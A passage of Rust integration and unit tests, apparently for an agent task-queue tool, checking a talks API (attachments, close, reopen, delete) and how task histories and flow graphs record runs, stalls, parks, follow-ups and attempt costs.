16691 let res = f
16694 .post_bytes(
16695 &format!("/api/talks/{id}/attachments"),
16696 &[("Content-Type", "image/png")],
16697 b"<html>not a picture</html>",
16698 )
16699 .await;
16700 assert!((400..500).contains(&res.status), "{}", res.body);
16701 }
16702
16703 #[tokio::test]
16704 async fn an_unknown_attachment_id_is_a_404() {
16705 let f = Fixture::start().await;
16706 let id = seed_talk(&f, "20260905-000000-e5f6", "open");
16707
16708 let res = f
16709 .get(&format!("/api/talks/{id}/attachments/{}", "0".repeat(32)))
16710 .await;
16711 assert_eq!(res.status, 404, "{}", res.body);
16712 }
16713
16714 #[tokio::test]
16715 async fn talk_say_with_only_an_attachment_and_no_body_is_accepted_and_persists() {
16716 let f = Fixture::start().await;
16717 let id = seed_talk(&f, "20260905-000000-f6a7", "open");
16718
16719 let uploaded = f
16720 .post_bytes(
16721 &format!("/api/talks/{id}/attachments"),
16722 &[("Content-Type", "image/png"), ("X-Filename", "shot.png")],
16723 PNG_BYTES,
16724 )
16725 .await;
16726 assert_eq!(uploaded.status, 201, "{}", uploaded.body);
16727 let att_id = uploaded.json()["id"].as_str().expect("id").to_owned();
16728
16729 let res = f
16730 .post(
16731 &format!("/api/talks/{id}/say"),
16732 Some(&format!(r#"{{"text":"","attachments":["{att_id}"]}}"#)),
16733 )
16734 .await;
16735 assert_eq!(res.status, 202, "{}", res.body);
16736 let queued = res.json();
16737 let turns = queued["turns"].as_array().expect("turns array");
16738 assert_eq!(
16739 turns.len(),
16740 1,
16741 "an empty body with an attachment is still a turn: {queued}"
16742 );
16743 assert_eq!(turns[0]["who"], "operator");
16744 assert_eq!(turns[0]["body"], "");
16745 let atts = turns[0]["attachments"]
16746 .as_array()
16747 .expect("attachments array");
16748 assert_eq!(atts.len(), 1);
16749 assert_eq!(atts[0]["id"], att_id);
16750 assert_eq!(atts[0]["mime"], "image/png");
16751
16752 let on_disk = f.talks().get(&id).expect("get");
16755 assert_eq!(on_disk.turns[0].attachments.len(), 1);
16756 assert_eq!(on_disk.turns[0].attachments[0].id, att_id);
16757 }
16758
16759 #[tokio::test]
16760 async fn saying_with_an_unknown_attachment_id_is_a_4xx_and_records_nothing() {
16761 let f = Fixture::start().await;
16762 let id = seed_talk(&f, "20260905-000000-a7b8", "open");
16763
16764 let res = f
16765 .post(
16766 &format!("/api/talks/{id}/say"),
16767 Some(&format!(
16768 r#"{{"text":"hi","attachments":["{}"]}}"#,
16769 "a".repeat(32)
16770 )),
16771 )
16772 .await;
16773 assert!((400..500).contains(&res.status), "{}", res.body);
16774 assert!(res.body.contains("unknown attachment"), "{}", res.body);
16775
16776 let on_disk = f.talks().get(&id).expect("get");
16777 assert!(
16778 on_disk.turns.is_empty(),
16779 "a rejected attachment id must not partially record the turn: {:?}",
16780 on_disk.turns
16781 );
16782 }
16783
16784 #[tokio::test]
16785 async fn talk_close_makes_the_talk_refuse_further_turns() {
16786 let f = Fixture::start().await;
16787 let id = seed_talk(&f, "20260904-014455-cd34", "open");
16788
16789 let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
16790 assert_eq!(closed.status, 200, "{}", closed.body);
16791 assert_eq!(closed.json()["status"], "closed");
16792
16793 let closed_again = f.post(&format!("/api/talks/{id}/close"), None).await;
16795 assert_eq!(closed_again.status, 200);
16796 assert_eq!(closed_again.json()["status"], "closed");
16797
16798 let said = f
16799 .post(
16800 &format!("/api/talks/{id}/say"),
16801 Some(r#"{"text":"too late"}"#),
16802 )
16803 .await;
16804 assert_eq!(said.status, 409, "{}", said.body);
16805 }
16806
16807 #[tokio::test]
16808 async fn talk_close_refuses_pending_input_with_conflict_and_preserves_it() {
16809 let f = Fixture::start().await;
16810 let id = seed_talk(&f, "20260904-014455-cd34", "open");
16811 let store = f.talks();
16812 let mut queued = store.get(&id).expect("talk");
16813 for automatic in [false, true] {
16814 if automatic {
16815 talk::queue_once(&mut queued, &store, "automatic notice", "notice-key")
16816 .expect("queue automatic input");
16817 } else {
16818 talk::queue(&mut queued, &store, "queued send", Vec::new())
16819 .expect("queue operator input");
16820 }
16821 let before = serde_json::to_value(store.get(&id).expect("queued talk")).unwrap();
16822 let refused = f.post(&format!("/api/talks/{id}/close"), None).await;
16823 assert_eq!(refused.status, 409, "{}", refused.body);
16824 assert!(refused.body.contains("pending input"), "{}", refused.body);
16825 assert_eq!(
16826 serde_json::to_value(store.get(&id).expect("preserved talk")).unwrap(),
16827 before,
16828 "a close refusal must preserve the entire record"
16829 );
16830 talk::clear_pending(&mut queued, &store).expect("clear saved input");
16831 }
16832 let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
16833 assert_eq!(closed.status, 200, "{}", closed.body);
16834 assert_eq!(closed.json()["status"], "closed");
16835 }
16836
16837 #[tokio::test]
16838 async fn talk_reopen_lets_a_closed_talk_take_turns_again_and_is_idempotent() {
16839 let (_tmp, _repo, f) = talk_fixture().await;
16840 let id = f.post("/api/talks", None).await.json()["id"]
16841 .as_str()
16842 .expect("id")
16843 .to_owned();
16844 let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
16845 assert_eq!(closed.status, 200, "{}", closed.body);
16846
16847 let reopened = f.post(&format!("/api/talks/{id}/reopen"), None).await;
16848 assert_eq!(reopened.status, 200, "{}", reopened.body);
16849 assert_eq!(reopened.json()["status"], "open");
16850
16851 let reopened_again = f.post(&format!("/api/talks/{id}/reopen"), None).await;
16853 assert_eq!(reopened_again.status, 200);
16854 assert_eq!(reopened_again.json()["status"], "open");
16855
16856 let said = f
16857 .post(
16858 &format!("/api/talks/{id}/say"),
16859 Some(r#"{"text":"still there?"}"#),
16860 )
16861 .await;
16862 assert_eq!(
16863 said.status, 202,
16864 "a reopened talk accepts turns again: {}",
16865 said.body
16866 );
16867 }
16868
16869 #[tokio::test]
16870 async fn talk_reopen_on_an_unknown_id_is_404() {
16871 let f = Fixture::start().await;
16872 let res = f.post("/api/talks/nonexistent-id/reopen", None).await;
16873 assert_eq!(res.status, 404, "{}", res.body);
16874 }
16875
16876 #[tokio::test]
16877 async fn talk_delete_removes_the_talk_from_disk_and_the_list() {
16878 let f = Fixture::start().await;
16879 let id = seed_talk(&f, "20260904-014455-ef56", "closed");
16880
16881 let deleted = f.delete(&format!("/api/talks/{id}")).await;
16882 assert_eq!(deleted.status, 204, "{}", deleted.body);
16883
16884 let after = f.get(&format!("/api/talks/{id}")).await;
16885 assert_eq!(after.status, 404, "{}", after.body);
16886
16887 let listed = f.get("/api/talks").await.json();
16888 assert!(
16889 listed.as_array().unwrap().iter().all(|t| t["id"] != id),
16890 "a deleted talk must not linger in the list: {listed}"
16891 );
16892 }
16893
16894 #[tokio::test]
16895 async fn talk_delete_on_an_unknown_id_is_404() {
16896 let f = Fixture::start().await;
16897 let res = f.delete("/api/talks/nonexistent-id").await;
16898 assert_eq!(res.status, 404, "{}", res.body);
16899 }
16900
16901 #[tokio::test]
16905 async fn task_detail_lists_every_run_with_what_kind_of_attempt_it_was() {
16906 let f = Fixture::start().await;
16907 let (a, b, gone) = (
16908 "20260902-140501-aaaa",
16909 "20260902-140502-bbbb",
16910 "20260902-140503-cccc",
16911 );
16912 write_run(&f.runs(), a, RunStatus::Stalled);
16913 let mut review = RunState::new(
16914 PathBuf::from("/repo/magi"),
16915 "main".to_owned(),
16916 "0123456789abcdef".to_owned(),
16917 "Review the work already on branch `magi/aaaa/A`. There is no task statement."
16918 .to_owned(),
16919 Config::default(),
16920 );
16921 review.id = b.to_owned();
16922 review.status = RunStatus::Merged;
16923 write_state(&f.runs(), &review);
16924
16925 let mut task = Task::new(
16926 "retry".to_owned(),
16927 "Do the thing".to_owned(),
16928 PathBuf::from("/repo/magi"),
16929 Source::Human,
16930 );
16931 task.start(a.to_owned());
16932 task.stall("quota");
16933 task.start(a.to_owned());
16934 task.start(b.to_owned());
16935 task.start(gone.to_owned());
16936 task.runs = [a, a, b, gone].map(str::to_owned).to_vec();
16938 f.queue().put(&mut task).expect("file the task");
16939
16940 let res = f.get(&format!("/api/queue/{}", task.id)).await;
16941 assert_eq!(res.status, 200, "{}", res.body);
16942 let v = res.json();
16943 let h = v["history"].as_array().expect("history");
16944 assert_eq!(h.len(), 4, "{v}");
16945 assert_eq!(h[0]["kind"], "competition");
16946 assert_eq!(h[0]["status"], "stalled");
16947 assert_eq!(h[0]["provisional"], true, "a stall is never a decision");
16948 assert_eq!(h[1]["kind"], "resume", "{v}");
16949 assert!(
16950 h[0]["outcome"]
16951 .as_str()
16952 .unwrap()
16953 .contains("unknown. Pass #2"),
16954 "an earlier pass of a resumed run must not claim the final outcome: {v}"
16955 );
16956 assert!(
16957 !h[1]["outcome"].as_str().unwrap().contains("unknown."),
16958 "{v}"
16959 );
16960 assert!(
16961 !h[0]["outcome"].as_str().unwrap().contains("parked it"),
16962 "an unrecorded cause must not be narrated as an operator park: {v}"
16963 );
16964 assert_eq!(h[2]["kind"], "review");
16965 assert!(
16966 h[2]["description"]
16967 .as_str()
16968 .unwrap()
16969 .contains("magi/aaaa/A")
16970 );
16971 assert_eq!(h[2]["status"], "merged");
16972 assert_eq!(h[3]["readable"], false, "an unreadable run is shown");
16973 assert_eq!(v["runs_unreadable"], 1);
16974 let nodes = v["flow"]["nodes"].as_array().expect("flow nodes");
16975 assert_eq!(nodes.len(), 6, "start + four passes + end: {v}");
16976 assert_eq!(nodes[4]["note"], "unreadable");
16977 assert_eq!(v["flow"]["edges"].as_array().unwrap().len(), 5);
16978 assert_eq!(v["instruction"], "Do the thing");
16979 assert!(v["attempts_note"].as_str().unwrap().contains("handed back"));
16980
16981 let run = f.get(&format!("/api/runs/{a}")).await.json();
16983 assert_eq!(run["task"]["id"], task.id.as_str(), "{run}");
16984
16985 assert_eq!(f.get("/api/queue/nosuchtask").await.status, 404);
16986 }
16987
16988 fn flow_run(status: RunStatus, edit: impl FnOnce(&mut RunState)) -> RunState {
16989 let mut s = RunState::new(
16990 PathBuf::from("/repo/magi"),
16991 "main".to_owned(),
16992 "0123456789abcdef".to_owned(),
16993 "Do it".to_owned(),
16994 Config::default(),
16995 );
16996 s.status = status;
16997 edit(&mut s);
16998 s
16999 }
17000
17001 fn flow_task(runs: &[&str]) -> Task {
17002 let mut t = Task::new(
17003 "t".to_owned(),
17004 "Do it".to_owned(),
17005 PathBuf::from("/repo/magi"),
17006 Source::Human,
17007 );
17008 for r in runs {
17009 t.start((*r).to_owned());
17010 }
17011 t.runs = runs.iter().map(|r| (*r).to_owned()).collect();
17013 t
17014 }
17015
17016 fn flow_for(task: &Task, states: &[(&str, Option<RunState>)]) -> FlowView {
17017 let h = task_history(task, |id| {
17018 states
17019 .iter()
17020 .find(|(i, _)| *i == id)
17021 .and_then(|(_, s)| s.clone())
17022 });
17023 task_flow(task, &h, 5, None)
17024 }
17025
17026 #[test]
17027 fn flow_start_times_use_each_pass_not_run_updates_or_settlements() {
17028 let queued = "2026-10-10T00:00:00Z".parse().unwrap();
17029 let created = "2026-10-10T01:00:00Z".parse().unwrap();
17030 let first = "2026-10-10T02:00:00Z".parse().unwrap();
17031 let resumed = "2026-10-10T03:00:00Z".parse().unwrap();
17032 let held = "2026-10-10T04:00:00Z".parse().unwrap();
17033 let run = flow_run(RunStatus::Implementing, |s| {
17034 s.created_at = created;
17035 s.passes = vec![recorded_pass(0, None), recorded_pass(1, None)];
17036 s.passes[0].started_at = first;
17037 s.passes[1].started_at = resumed;
17038 });
17039 let mut task = flow_task(&[RUN_X, RUN_X]);
17040 task.created_at = queued;
17041 task.passes = vec![settled_pass(RUN_X, 0, crate::queue::PassCost::Refunded)];
17042 task.status = TaskStatus::Held;
17043 task.held_at = Some(held);
17044 let flow = flow_for(&task, &[(RUN_X, Some(run))]);
17045 assert_eq!(
17046 flow.nodes.iter().map(|n| n.started_at).collect::<Vec<_>>(),
17047 vec![Some(queued), Some(first), Some(resumed), Some(held)]
17048 );
17049 assert!(flow.nodes.iter().all(|n| n.time_expected));
17050 let json = serde_json::to_value(&flow).unwrap();
17051 assert_eq!(json["nodes"][2]["started_at"], resumed.to_string());
17052 assert_eq!(json["nodes"][2]["time_expected"], true);
17053 }
17054
17055 #[test]
17056 fn flow_start_times_leave_legacy_resumes_unreadable_and_status_starts_unknown() {
17057 let created = "2026-10-10T01:00:00Z".parse().unwrap();
17058 let run = flow_run(RunStatus::Implementing, |s| s.created_at = created);
17059 let mut task = flow_task(&[RUN_X, RUN_X, "missing"]);
17060 task.held_at = Some(created);
17062 task.blocked_at = Some(created);
17063 for status in [
17064 TaskStatus::Queued,
17065 TaskStatus::Running,
17066 TaskStatus::Blocked,
17067 TaskStatus::Done,
17068 TaskStatus::Failed,
17069 TaskStatus::Parked,
17070 TaskStatus::Held,
17071 ] {
17072 task.status = status;
17073 if status == TaskStatus::Held {
17074 task.held_at = None;
17075 }
17076 let flow = flow_for(&task, &[(RUN_X, Some(run.clone()))]);
17077 assert_eq!(flow.nodes[1].started_at, Some(created));
17078 assert_eq!(flow.nodes[2].started_at, None, "legacy resume");
17079 assert_eq!(flow.nodes[3].started_at, None, "unreadable run");
17080 assert_eq!(flow.nodes[4].started_at, None, "{status:?}");
17081 let json = serde_json::to_value(&flow).unwrap();
17082 assert!(json["nodes"][3]["started_at"].is_null());
17083 assert_eq!(json["nodes"][3]["time_expected"], true);
17084 }
17085 }
17086
17087 #[test]
17088 fn flow_context_links_do_not_expect_start_times() {
17089 let mut task = flow_task(&[]);
17090 task.source = Source::Agent {
17091 run: "chat-id".to_owned(),
17092 node: "chat".to_owned(),
17093 };
17094 let origin = followup_origin(&fu(None), |_| None, |_| None);
17095 let flow = task_flow(&task, &[], 5, Some(&origin));
17096 for node in &flow.nodes[..2] {
17097 assert!(!node.time_expected);
17098 assert_eq!(node.started_at, None);
17099 }
17100 assert!(flow.nodes[2].time_expected);
17101 }
17102
17103 fn fu(origin_task: Option<&str>) -> crate::queue::FollowUp {
17104 crate::queue::FollowUp {
17105 run: "20260901-000000-aaaa".to_owned(),
17106 origin_task: origin_task.map(str::to_owned),
17107 pr: "https://example.com/o/r/pull/1".to_owned(),
17108 findings: ["R3-1-1", "R3-1-2", "R3-1-3", "R3-1-4"]
17109 .map(str::to_owned)
17110 .to_vec(),
17111 generation: 1,
17112 }
17113 }
17114
17115 fn parent_task() -> Task {
17116 let mut p = flow_task(&[]);
17117 p.title = "Parent title".to_owned();
17118 p.status = TaskStatus::Done;
17119 p
17120 }
17121
17122 #[test]
17123 fn flow_opens_with_the_parent_task_of_a_followup() {
17124 let p = parent_task();
17125 let pid = p.id.clone();
17126 let o = followup_origin(&fu(Some(&pid)), |i| (i == pid).then(|| p.clone()), |_| None);
17127 let f = task_flow(&flow_task(&[]), &[], 5, Some(&o));
17128 let n = &f.nodes[0];
17129 assert_eq!((n.kind, n.key.as_str()), ("followup", "origin"));
17130 assert_eq!(
17131 n.label,
17132 format!("Follow-up of {}", crate::queue::short(&pid))
17133 );
17134 assert_eq!(n.detail.as_deref(), Some("Parent title"));
17135 assert_eq!(n.status, Some("done"));
17136 assert_eq!(n.status_of, "task");
17137 assert_eq!(n.href.as_deref(), Some(format!("#/tasks/{pid}").as_str()));
17138 assert_eq!(f.nodes[1].key, "start");
17139 assert_eq!(f.edges[0].from, "origin");
17140 assert_eq!(
17141 f.edges[0].label,
17142 "open findings R3-1-1, R3-1-2, R3-1-3 +1 more"
17143 );
17144 }
17145
17146 #[test]
17147 fn flow_falls_back_to_the_merged_run_when_the_parent_is_gone() {
17148 let o = followup_origin(
17149 &fu(Some("gone")),
17150 |_| None,
17151 |_| {
17152 Some(RunState::new(
17153 std::path::PathBuf::from("."),
17154 "main".to_owned(),
17155 "0".to_owned(),
17156 "t".to_owned(),
17157 crate::config::Config::default(),
17158 ))
17159 },
17160 );
17161 assert!(o.parent.is_none());
17162 let f = task_flow(&flow_task(&[]), &[], 5, Some(&o));
17163 let n = &f.nodes[0];
17164 assert_eq!(n.status_of, "run");
17165 assert_eq!(n.href.as_deref(), Some("#/runs/20260901-000000-aaaa"));
17166 assert!(n.label.starts_with("Follow-up of run "), "{}", n.label);
17167 }
17168
17169 #[test]
17170 fn flow_followup_with_nothing_readable_has_no_link() {
17171 let o = followup_origin(&fu(None), |_| panic!("no parent id to look up"), |_| None);
17172 let f = task_flow(&flow_task(&[]), &[], 5, Some(&o));
17173 let n = &f.nodes[0];
17174 assert_eq!(n.href, None);
17175 assert_eq!(n.note, Some("unreadable"));
17176 assert!(!n.readable);
17177 }
17178
17179 #[test]
17180 fn flow_keeps_the_chat_first_only_when_the_source_is_a_chat() {
17181 let o = followup_origin(&fu(None), |_| None, |_| None);
17182 let mut t = flow_task(&[]);
17183 t.origin_chat = Some("c1".to_owned());
17184 let f = task_flow(&t, &[], 5, Some(&o));
17185 assert_eq!(f.nodes[0].kind, "followup", "inherited chat adds no node");
17186 t.source = Source::Agent {
17187 run: "c1".to_owned(),
17188 node: crate::queue::CHAT_NODE.to_owned(),
17189 };
17190 let f = task_flow(&t, &[], 5, Some(&o));
17191 assert_eq!((f.nodes[0].kind, f.nodes[1].kind), ("chat", "followup"));
17192 assert_eq!(
17193 (f.edges[0].from.as_str(), f.edges[0].to.as_str()),
17194 ("chat", "origin")
17195 );
17196 }
17197
17198 #[test]
17199 fn followup_origin_encodes_ids_and_survives_a_self_reference() {
17200 let mut p = parent_task();
17201 p.id = "a b/c".to_owned();
17202 let o = followup_origin(&fu(Some("a b/c")), |_| Some(p.clone()), |_| None);
17203 assert_eq!(o.parent.expect("parent").href, "#/tasks/a%20b%2Fc");
17204 }
17205
17206 #[test]
17207 fn flow_opens_with_the_chat_that_queued_the_task() {
17208 let mut t = flow_task(&[]);
17209 t.source = Source::Agent {
17210 run: "a b/c".to_owned(),
17211 node: crate::queue::CHAT_NODE.to_owned(),
17212 };
17213 let f = flow_for(&t, &[]);
17214 assert_eq!(f.nodes[0].key, "chat");
17215 assert_eq!(f.nodes[0].kind, "chat");
17216 assert_eq!(
17217 f.nodes[0].label,
17218 format!("Chat {}", crate::queue::short("a b/c"))
17219 );
17220 assert_eq!(f.nodes[0].href.as_deref(), Some("#/chat/a%20b%2Fc"));
17221 assert_eq!(f.nodes[1].key, "start");
17222 assert_eq!(
17223 f.edges[0],
17224 FlowEdge {
17225 from: "chat".to_owned(),
17226 to: "start".to_owned(),
17227 label: "queued from chat".to_owned(),
17228 attempt: AttemptCost::None,
17229 }
17230 );
17231 }
17232
17233 #[test]
17234 fn flow_has_no_chat_box_for_other_sources() {
17235 for source in [
17236 Source::Human,
17237 Source::Issue {
17238 number: 3,
17239 repo: "o/r".to_owned(),
17240 },
17241 Source::Agent {
17242 run: "20260904-014455-ab12".to_owned(),
17243 node: "implement".to_owned(),
17244 },
17245 ] {
17246 let mut t = flow_task(&[]);
17247 t.source = source;
17248 let f = flow_for(&t, &[]);
17249 assert_eq!(f.nodes[0].key, "start");
17250 assert!(f.nodes.iter().all(|n| n.kind != "chat"));
17251 assert!(f.edges.iter().all(|e| e.from != "chat"));
17252 }
17253 }
17254
17255 const FA: &str = "20260902-140501-aaaa";
17256 const FB: &str = "20260902-140502-bbbb";
17257
17258 #[test]
17259 fn flow_follows_blocked_retry_merged_to_done() {
17260 let mut t = flow_task(&[FA, FB]);
17261 t.status = TaskStatus::Done;
17262 let f = flow_for(
17263 &t,
17264 &[
17265 (FA, Some(flow_run(RunStatus::Blocked, |_| {}))),
17266 (FB, Some(flow_run(RunStatus::Merged, |_| {}))),
17267 ],
17268 );
17269 let keys: Vec<_> = f.nodes.iter().map(|n| n.key.as_str()).collect();
17270 assert_eq!(keys, ["start", "run-1", "run-2", "end"]);
17271 assert_eq!(f.edges.len(), 3);
17272 assert_eq!(f.edges[0].label, "claimed");
17273 assert_eq!(f.edges[1].label, "blocked, attempt spent \u{2192} retry");
17274 assert_eq!(f.edges[1].attempt, AttemptCost::Spent);
17275 assert_eq!(f.edges[2].label, "merged \u{2192} done");
17276 assert_eq!(
17277 f.nodes[2].href.as_deref(),
17278 Some("#/runs/20260902-140502-bbbb")
17279 );
17280 assert!(f.nodes[2].decided);
17281 }
17282
17283 #[test]
17284 fn flow_quota_stall_is_refunded_and_never_decided_then_resumes() {
17285 let quota = || {
17286 flow_run(RunStatus::Stalled, |s| {
17287 s.quota.push(crate::run::QuotaLoss {
17288 cause: crate::agent::QuotaCause::UsageLimit,
17289 agent: String::new(),
17290 seat: "judge-1".to_owned(),
17291 node: "judge".to_owned(),
17292 at: Timestamp::now(),
17293 reset: None,
17294 })
17295 })
17296 };
17297 let mut t = flow_task(&[FA, FA]);
17298 t.status = TaskStatus::Queued;
17299 let f = flow_for(&t, &[(FA, Some(quota()))]);
17300 assert_eq!(f.nodes.len(), 4, "a repeated id is one node per pass");
17301 assert_eq!(f.nodes[1].note, Some("interrupted"));
17302 assert_eq!(
17303 f.nodes[1].status, None,
17304 "no outcome copied onto an earlier pass"
17305 );
17306 assert_eq!(
17307 f.edges[1].attempt,
17308 AttemptCost::Unknown,
17309 "a resume does not prove the earlier pass was refunded"
17310 );
17311 assert!(f.edges[1].label.contains("resume the same run"));
17312 assert_eq!(f.edges[2].attempt, AttemptCost::Unknown);
17313 assert_eq!(
17314 f.edges[2].label,
17315 "stalled after a resume, refund unknown \u{2192} queued"
17316 );
17317 assert!(!f.nodes[2].decided, "a stall is not a decision");
17318 assert_eq!(f.nodes[2].note, Some("no verdict"));
17319 }
17320
17321 #[test]
17322 fn flow_single_pass_quota_stall_is_refunded() {
17323 let t = flow_task(&[FA]);
17324 let f = flow_for(
17325 &t,
17326 &[(
17327 FA,
17328 Some(flow_run(RunStatus::Stalled, |s| {
17329 s.quota.push(crate::run::QuotaLoss {
17330 cause: crate::agent::QuotaCause::UsageLimit,
17331 agent: String::new(),
17332 seat: "judge-1".to_owned(),
17333 node: "judge".to_owned(),
17334 at: Timestamp::now(),
17335 reset: None,
17336 })
17337 })),
17338 )],
17339 );
17340 assert_eq!(f.edges[1].attempt, AttemptCost::Refunded);
17341 }
17342
17343 #[test]
17344 fn flow_parked_refunds_and_stall_without_quota_spends() {
17345 let mut t = flow_task(&[FA]);
17346 t.status = TaskStatus::Queued;
17347 let f = flow_for(
17348 &t,
17349 &[(
17350 FA,
17351 Some(flow_run(RunStatus::Implementing, |s| s.parked = true)),
17352 )],
17353 );
17354 assert_eq!(f.edges[1].label, "parked, attempt refunded \u{2192} queued");
17355 assert_eq!(f.edges[1].attempt, AttemptCost::Refunded);
17356 let f = flow_for(&t, &[(FA, Some(flow_run(RunStatus::Stalled, |_| {})))]);
17357 assert_eq!(f.edges[1].attempt, AttemptCost::Spent);
17358 assert!(!f.nodes[1].decided);
17359 }
17360
17361 #[test]
17362 fn flow_keeps_an_unreadable_run_as_its_own_node() {
17363 let t = flow_task(&[FA, FB]);
17364 let f = flow_for(&t, &[(FB, Some(flow_run(RunStatus::Blocked, |_| {})))]);
17365 assert_eq!(f.nodes[1].note, Some("unreadable"));
17366 assert!(!f.nodes[1].readable);
17367 assert_eq!(f.nodes[1].run_kind, Some("unknown"));
17368 assert_eq!(f.edges[1].attempt, AttemptCost::Unknown);
17369 }
17370
17371 #[test]
17372 fn flow_names_the_branch_of_a_review_only_run() {
17373 let t = flow_task(&[FA]);
17374 let f = flow_for(
17375 &t,
17376 &[(
17377 FA,
17378 Some(flow_run(RunStatus::Merged, |s| {
17379 s.instruction = "Review the work already on branch `magi/x/A`. Go.".to_owned()
17380 })),
17381 )],
17382 );
17383 assert_eq!(f.edges[0].label, "review-only run of branch magi/x/A");
17384 assert_eq!(
17385 f.nodes[1].detail.as_deref(),
17386 Some("review-only run of branch magi/x/A")
17387 );
17388 }
17389
17390 #[test]
17391 fn flow_ends_held_with_the_pr_left_open_and_flags_hand_edits() {
17392 let mut t = flow_task(&[FA]);
17393 t.status = TaskStatus::Held;
17394 let pr = crate::run::PrRecord {
17395 url: "https://example.test/pr/1".to_owned(),
17396 number: 1,
17397 state: "open".to_owned(),
17398 checks: "green".to_owned(),
17399 round: 0,
17400 rounds: 3,
17401 red_at_merge: Vec::new(),
17402 };
17403 let blocked = flow_run(RunStatus::Blocked, |s| s.pr = Some(pr));
17404 let f = flow_for(&t, &[(FA, Some(blocked.clone()))]);
17405 assert_eq!(f.edges[1].label, "blocked, PR left open \u{2192} held");
17406 t.status = TaskStatus::Done;
17407 let f = flow_for(&t, &[(FA, Some(blocked))]);
17408 assert_eq!(f.edges[1].label, "closed by hand: task is done");
17409 }
17410
17411 #[test]
17412 fn flow_with_no_runs_goes_from_queued_to_queued() {
17413 let t = flow_task(&[]);
17414 let f = flow_for(&t, &[]);
17415 assert_eq!(f.nodes.len(), 2);
17416 assert_eq!(f.edges.len(), 1);
17417 assert_eq!(f.edges[0].label, "no run yet \u{2192} queued");
17418 assert_eq!(f.edges[0].attempt, AttemptCost::None);
17419 }
17420
17421 #[test]
17424 fn a_parked_non_terminal_run_is_explained_as_parked() {
17425 let mut s = RunState::new(
17426 PathBuf::from("/repo/magi"),
17427 "main".to_owned(),
17428 "0123456789abcdef".to_owned(),
17429 "Do it".to_owned(),
17430 Config::default(),
17431 );
17432 s.status = RunStatus::Implementing;
17433 s.parked = true;
17434 let task = Task::new(
17435 "t".to_owned(),
17436 "Do it".to_owned(),
17437 PathBuf::from("/repo/magi"),
17438 Source::Human,
17439 );
17440 let v = task_run_view(
17441 "20260902-140501-aaaa",
17442 Some(&s),
17443 RunSlot {
17444 n: 1,
17445 resumed: false,
17446 resumed_later: None,
17447 prior: None,
17448 last: true,
17449 ..RunSlot::default()
17450 },
17451 &task,
17452 );
17453 assert!(v.outcome.contains("Parked"), "{}", v.outcome);
17454 }
17455
17456 fn earlier_pass_view(edit: impl FnOnce(&mut RunState)) -> TaskRunView {
17457 let mut s = flow_run(RunStatus::Implementing, edit);
17458 s.parked = false;
17459 let task = flow_task(&["20260902-140501-aaaa", "20260902-140501-aaaa"]);
17460 task_run_view(
17461 "20260902-140501-aaaa",
17462 Some(&s),
17463 RunSlot {
17464 n: 1,
17465 resumed: false,
17466 resumed_later: Some(2),
17467 prior: None,
17468 last: false,
17469 ..RunSlot::default()
17470 },
17471 &task,
17472 )
17473 }
17474
17475 #[test]
17476 fn an_earlier_pass_with_no_recorded_cause_is_unknown_not_parked() {
17477 let v = earlier_pass_view(|_| {});
17478 assert!(v.outcome.contains("not recorded"), "{}", v.outcome);
17479 assert!(v.outcome.contains("unknown"), "{}", v.outcome);
17480 assert!(!v.outcome.contains("parked it"), "{}", v.outcome);
17481 assert!(!v.outcome.contains("handed back."), "{}", v.outcome);
17482 assert_eq!(v.exit, RunExit::Interrupted);
17483 assert_eq!(v.attempt, AttemptCost::Unknown);
17484 }
17485
17486 #[test]
17487 fn an_earlier_pass_with_a_recorded_rate_limit_does_not_claim_it_as_the_cause() {
17488 let v = earlier_pass_view(|s| {
17489 s.quota.push(crate::run::QuotaLoss {
17490 cause: crate::agent::QuotaCause::UsageLimit,
17491 agent: String::new(),
17492 seat: "judge-1".to_owned(),
17493 node: "judge".to_owned(),
17494 at: Timestamp::now(),
17495 reset: None,
17496 });
17497 });
17498 assert!(v.outcome.contains("may or may not"), "{}", v.outcome);
17499 assert!(v.outcome.contains("unknown"), "{}", v.outcome);
17500 assert_eq!(v.attempt, AttemptCost::Unknown);
17501 }
17502
17503 #[test]
17504 fn the_current_pass_states_its_recorded_cause_and_cost() {
17505 let slot = || RunSlot {
17506 n: 1,
17507 resumed: false,
17508 resumed_later: None,
17509 prior: None,
17510 last: true,
17511 ..RunSlot::default()
17512 };
17513 let task = flow_task(&["20260902-140501-aaaa"]);
17514 let parked = flow_run(RunStatus::Implementing, |s| s.parked = true);
17515 let v = task_run_view("20260902-140501-aaaa", Some(&parked), slot(), &task);
17516 assert_eq!(
17517 (v.exit, v.attempt),
17518 (RunExit::Parked, AttemptCost::Refunded)
17519 );
17520 let spent = flow_run(RunStatus::Blocked, |_| {});
17521 let v = task_run_view("20260902-140501-aaaa", Some(&spent), slot(), &task);
17522 assert_eq!(v.attempt, AttemptCost::Spent);
17523 assert!(v.outcome.contains("spent an attempt"), "{}", v.outcome);
17524 }
17525
17526 fn recorded_pass(index: usize, end: Option<crate::run::PassEnd>) -> crate::run::RunPass {
17527 crate::run::RunPass {
17528 index,
17529 started_at: Timestamp::now(),
17530 resumed: index > 0,
17531 ended_at: end.as_ref().map(|_| Timestamp::now()),
17532 end,
17533 task_entry: true,
17534 }
17535 }
17536
17537 fn parked(cause: crate::run::ParkCause) -> Option<crate::run::PassEnd> {
17538 Some(crate::run::PassEnd::Parked { cause })
17539 }
17540
17541 fn upgrade_cause() -> crate::run::ParkCause {
17542 crate::run::ParkCause::Upgrade {
17543 from: "0.121.0".to_owned(),
17544 to: Some("0.121.1".to_owned()),
17545 }
17546 }
17547
17548 fn settled_pass(
17549 run: &str,
17550 index: usize,
17551 cost: crate::queue::PassCost,
17552 ) -> crate::queue::TaskPass {
17553 crate::queue::TaskPass {
17554 run: run.to_owned(),
17555 pass_index: index,
17556 started_at: None,
17557 cost,
17558 attempts_after: 1,
17559 settled_at: Timestamp::now(),
17560 parked: None,
17561 }
17562 }
17563
17564 const RUN_X: &str = "20261011-223708-4334";
17565
17566 #[test]
17567 fn an_upgrade_pause_and_its_resume_are_two_passes_of_one_run_and_one_attempt() {
17568 use crate::queue::PassCost;
17569 let run = flow_run(RunStatus::Implementing, |s| {
17570 s.passes = vec![
17571 recorded_pass(0, parked(upgrade_cause())),
17572 recorded_pass(1, None),
17573 ];
17574 });
17575 let mut task = flow_task(&[RUN_X, RUN_X]);
17576 task.attempts = 1;
17577 task.passes = vec![settled_pass(RUN_X, 0, PassCost::Refunded)];
17578 let h = task_history(&task, |_| Some(run.clone()));
17579 assert_eq!(h.len(), 2);
